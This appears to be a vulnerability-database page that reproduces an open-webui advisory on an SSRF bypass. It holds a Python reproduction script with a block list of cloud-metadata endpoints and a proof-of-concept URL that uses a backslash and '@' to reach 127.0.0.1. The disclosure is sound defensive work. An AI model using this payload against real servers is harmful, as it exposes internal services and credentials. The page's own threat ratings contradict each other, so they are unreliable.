Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-8w7q-q5jp-jvgx

HighCVSS 8.5 / 10
Published May 14, 2026·Last modified May 14, 2026
Affected Components(0)

No affected components available

Description

Summary

In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.

Details

In the current project, URL validation is performed using the function validate_url.

<img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" />

The current checking logic uses urlparse to parse the hostname part of the URL for verification.

<img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" />

However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.

<img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the open-webui code.

from __future__ import annotations

import ipaddress
import logging
import os
import socket
import urllib.parse
import urllib.request
from typing import Optional, Sequence, Union
import requests

log = logging.getLogger(__name__)

# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL
INVALID_URL = (
    "Oops! The URL you provided is invalid. Please double-check and try again."
)

# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)
ENABLE_RAG_LOCAL_WEB_FETCH = (
    os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true"
)

_DEFAULT_WEB_FETCH_FILTER_LIST = [
    "!169.254.169.254",
    "!fd00:ec2::254",
    "!metadata.google.internal",
    "!metadata.azure.com",
    "!100.100.100.200",
]
_web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "")
if _web_fetch_filter_env == "":
    _web_fetch_filter_env_list: list[str] = []
else:
    _web_fetch_filter_env_list = [
        item.strip()
        for item in _web_fetch_filter_env.split(",")
        if item.strip()
    ]
WEB_FETCH_FILTER_LIST = list(
    set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)
)


def get_allow_block_lists(filter_list):
    allow_list = []
    block_list = []

    if filter_list:
        for d in filter_list:
            if d.startswith("!"):
                block_list.append(d[1:].strip())
            else:
                allow_list.append(d.strip())

    return allow_list, block_list


def is_string_allowed(
    string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None
) -> bool:
    if not filter_list:
        return True

    allow_list, block_list = get_allow_block_lists(filter_list)
    strings = [string] if isinstance(string, str) else list(string)

    if allow_list:
        if not any(s.endswith(allowed) for s in strings for allowed in allow_list):
            return False

    if any(s.endswith(blocked) for s in strings for blocked in block_list):
        return False

    return True


def resolve_hostname(hostname):
    # Get address information
    addr_info = socket.getaddrinfo(hostname, None)

    # Extract IP addresses from address information
    ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]
    ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]

    return ipv4_addresses, ipv6_addresses


def _validators_url_accept(url: str) -> bool:
    """
    Stand-in for python-validators url(): True if string looks like http(s) URL with host.
    """
    try:
        u = url.strip()
        if not u:
            return False
        p = urllib.parse.urlparse(u)
        if p.scheme not in ("http", "https"):
            return False
        if not p.netloc:
            return False
        return True
    except Exception:
        return False


def _ipv4_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 4 and a.is_private
    except ValueError:
        return False


def _ipv6_private(ip: str) -> bool:
    try:
        a = ipaddress.ip_address(ip)
        return a.version == 6 and a.is_private
    except ValueError:
        return False


def validate_url(url: Union[str, Sequence[str]]):
    if isinstance(url, str):
        if not _validators_url_accept(url):
            raise ValueError(INVALID_URL)

        parsed_url = urllib.parse.urlparse(url)

        # Protocol validation - only allow http/https
        if parsed_url.scheme not in ["http", "https"]:
            log.warning(
                f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}"
            )
            raise ValueError(INVALID_URL)

        # Blocklist check using unified filtering logic
        if WEB_FETCH_FILTER_LIST:
            if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
                log.warning(f"URL blocked by filter list: {url}")
                raise ValueError(INVALID_URL)

        if not ENABLE_RAG_LOCAL_WEB_FETCH:
            # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
            parsed_url = urllib.parse.urlparse(url)
            # Get IPv4 and IPv6 addresses
            ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
            # Check if any of the resolved addresses are private
            # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
            for ip in ipv4_addresses:
                if _ipv4_private(ip):
                    raise ValueError(INVALID_URL)
            for ip in ipv6_addresses:
                if _ipv6_private(ip):
                    raise ValueError(INVALID_URL)
        return True
    elif isinstance(url, Sequence):
        return all(validate_url(u) for u in url)
    else:
        return False

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    # url = "https://127.0.0.1:6666\@1.1.1.1"
    url = "https://127.0.0.1:6666"
    validate_url(url)
    response = requests.get(url)
    print(response.text)

As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.

<img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" />

However, for https://127.0.0.1:6666@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.

<img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" />

PoC

http://127.0.0.1:6666\@baidu.com

Impact

SSRF

Risk Scores
Base Score
8.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
7.8

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.29%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard